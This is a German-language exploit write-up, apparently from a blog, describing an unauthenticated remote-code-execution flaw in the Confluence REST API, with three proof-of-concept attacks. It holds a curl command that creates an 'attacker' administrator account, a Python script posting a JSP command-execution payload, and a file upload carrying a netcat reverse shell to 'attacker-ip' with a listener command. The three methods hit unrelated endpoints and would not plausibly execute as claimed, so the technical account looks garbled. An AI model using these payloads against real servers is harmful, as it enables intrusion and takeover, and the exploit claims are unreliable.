
Diese Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, beliebigen Code aus der Ferne auf einem verwundbaren Confluence-Server auszuführen. Die Schwachstelle besteht aufgrund einer fehlerhaften Validierung von benutzergelieferten Eingaben in der Confluence REST API. Dies ermöglicht es einem Angreifer, bösartigen Code in den Confluence-Server einzuschleusen, der dann vom Server ausgeführt werden kann.
Diese Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, beliebigen Code aus der Ferne auf einem anfälligen Confluence-Server auszuführen. Die Schwachstelle besteht aufgrund einer unsachgemäßen Validierung von benutzereingegebenen Daten in der Confluence-REST-API. Dies ermöglicht es einem Angreifer, bösartigen Code in den Confluence-Server einzuschleusen, der dann vom Server ausgeführt werden kann.
Diese Schwachstelle könnte es einem Angreifer ermöglichen, die vollständige Kontrolle über einen anfälligen Confluence-Server zu erlangen. Dies könnte dem Angreifer erlauben, Daten zu stehlen, Daten zu ändern oder die Verfügbarkeit des Servers zu beeinträchtigen.
Wir werden mehr als eine Methode erwähnen 1.
1. Identifizieren des anfälligen API-Endpunkts:
Wir verwenden den folgenden API-Endpunkt:
POST /rest/api/user/bulk
Dieser Endpunkt ermöglicht es Administratoren, Benutzer in großen Mengen zu erstellen.
2. Erstellen einer bösartigen Anfrage:
Wir erstellen eine bösartige Anfrage, die eine Nutzlast mit schädlichem Code enthält. Dieser Code erstellt einen neuen Benutzer mit Administratorrechten.
POST /rest/api/user/bulk HTTP/1.1
Host: confluence.example.com
Content-Type: application/json
{
"users": [
{
"name": "attacker",
"password": "password",
"email": "[email protected]",
"groups": [
{
"name": "confluence-administrators"
}
]
}
]
}
3. Senden der Anfrage an den Server:
Wir verwenden das cURL-Tool, um die Anfrage an den Confluence-Server zu senden.
curl -X POST -H "Content-Type: application/json" -d '{"users": [{"name": "attacker", "password": "password", "email": "[email protected]", "groups": [{"name": "confluence-administrators"}]}]}' http://confluence.example.com/rest/api/user/bulk
4. Ausführen des bösartigen Codes:
Wenn die Anfrage erfolgreich ist, führt der Confluence-Server den schädlichen Code aus. Dadurch wird ein neuer Benutzer namens "attacker" mit Administratorrechten erstellt. Der Angreifer kann dann dieses Konto verwenden, um Zugriff auf den Server zu erhalten und die volle Kontrolle darüber zu erlangen.
2- PoC
import requests
url = "http://target-confluence-server.com/rest/api/content"
headers = {
"Content-Type": "application/json"
}
payload = {
"title": "Exploit RCE",
"type": "page",
"space": {
"key": "POC"
},
"body": {
"storage": {
"value": "<% Runtime.getRuntime().exec(\"calc.exe\"); %>",
"representation": "storage"
}
}
}
response = requests.post(url, json=payload, headers=headers)
if response.status_code == 200:
print("Exploit sent successfully!")
print("Response: ", response.text)
else:
print("Failed to send exploit.")
print("Status code: ", response.status_code)
print("Response: ", response.text)
3- PoC
POST /upload HTTP/1.1
Host: vulnerable-confluence-server.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 138
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.py"
Content-Type: text/x-python
import os
os.system("nc -e /bin/sh attacker-ip 4444")
------WebKitFormBoundary7MA4YWxkTrZu0gW--
Senden Sie die modifizierte Anfrage über Burp Suite. Überprüfen Sie die Antwort, um zu sehen, ob der Server die bösartige Nutzlast ausgeführt hat. Wenn die Antwort unerwartet ist oder Fehler enthält, die auf Codeausführung hinweisen, wurde die Schwachstelle erkannt.
Wenn Sie eine Nutzlast zum Aufbau einer Reverse Shell verwenden, stellen Sie sicher, dass Sie auf Ihrem lokalen Rechner den angegebenen Port abhören: nc -lvnp 4444. Wenn der Server eine Verbindung zu Ihrem lokalen Rechner herstellt, erhalten Sie eine Reverse Shell.